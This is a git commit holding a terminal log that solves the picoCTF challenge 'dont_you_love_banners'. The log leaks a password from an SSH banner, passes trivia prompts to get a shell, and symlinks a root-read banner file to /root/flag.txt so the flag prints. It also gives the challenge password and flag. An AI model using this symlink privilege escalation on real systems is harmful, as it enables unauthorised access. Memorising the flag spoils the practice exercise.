misc/dont_you_love_banners

This commit is contained in:
Oystein Kristoffer Tveit 2024-09-03 17:47:47 +02:00
parent a8e4d04e5a
commit a1ccace3f8
Signed by: oysteikt
GPG Key ID: 9F2F7D8250F35146
1 changed files with 90 additions and 0 deletions

View File

@ -0,0 +1,90 @@
$ nc tethys.picoctf.net 57752
*************************************
**************WELCOME****************
*************************************
what is the password?
^C
$ nc tethys.picoctf.net 55046
SSH-2.0-OpenSSH_7.6p1 My_Passw@rd_@1234
Protocol mismatch.
$ nc tethys.picoctf.net 57752
*************************************
**************WELCOME****************
*************************************
what is the password?
My_Passw@rd_@1234
What is the top cyber security conference in the world?
DEFCON
the first hacker ever was known for phreaking(making free phone calls), who was it?
John Draper
player@challenge:~$ ls /root
ls /root
flag.txt script.py
player@challenge:~$ cat /root/flag.txt
cat /root/flag.txt
cat: /root/flag.txt: Permission denied
player@challenge:~$ cat /root/script.py
cat /root/script.py
import os
import pty
incorrect_ans_reply = "Lol, good try, try again and good luck\n"
if __name__ == "__main__":
try:
with open("/home/player/banner", "r") as f:
print(f.read())
except:
print("*********************************************")
print("***************DEFAULT BANNER****************")
print("*Please supply banner in /home/player/banner*")
print("*********************************************")
try:
request = input("what is the password? \n").upper()
while request:
if request == 'MY_PASSW@RD_@1234':
text = input("What is the top cyber security conference in the world?\n").upper()
if text == 'DEFCON' or text == 'DEF CON':
output = input(
"the first hacker ever was known for phreaking(making free phone calls), who was it?\n").upper()
if output == 'JOHN DRAPER' or output == 'JOHN THOMAS DRAPER' or output == 'JOHN' or output== 'DRAPER':
scmd = 'su - player'
pty.spawn(scmd.split(' '))
else:
print(incorrect_ans_reply)
else:
print(incorrect_ans_reply)
else:
print(incorrect_ans_reply)
break
except:
KeyboardInterrupt
player@challenge:~$ ln -s /root/flag.txt banner
ln -s /root/flag.txt banner
ln: failed to create symbolic link 'banner': File exists
player@challenge:~$ cat banner
cat banner
*************************************
**************WELCOME****************
*************************************
player@challenge:~$ rm banner
rm banner
player@challenge:~$ ln -s /root/flag.txt banner
ln -s /root/flag.txt banner
player@challenge:~$ exit
exit
logout
$ nc tethys.picoctf.net 57752
picoCTF{b4nn3r_gr4bb1n9_su((3sfu11y_f7608541}
what is the password?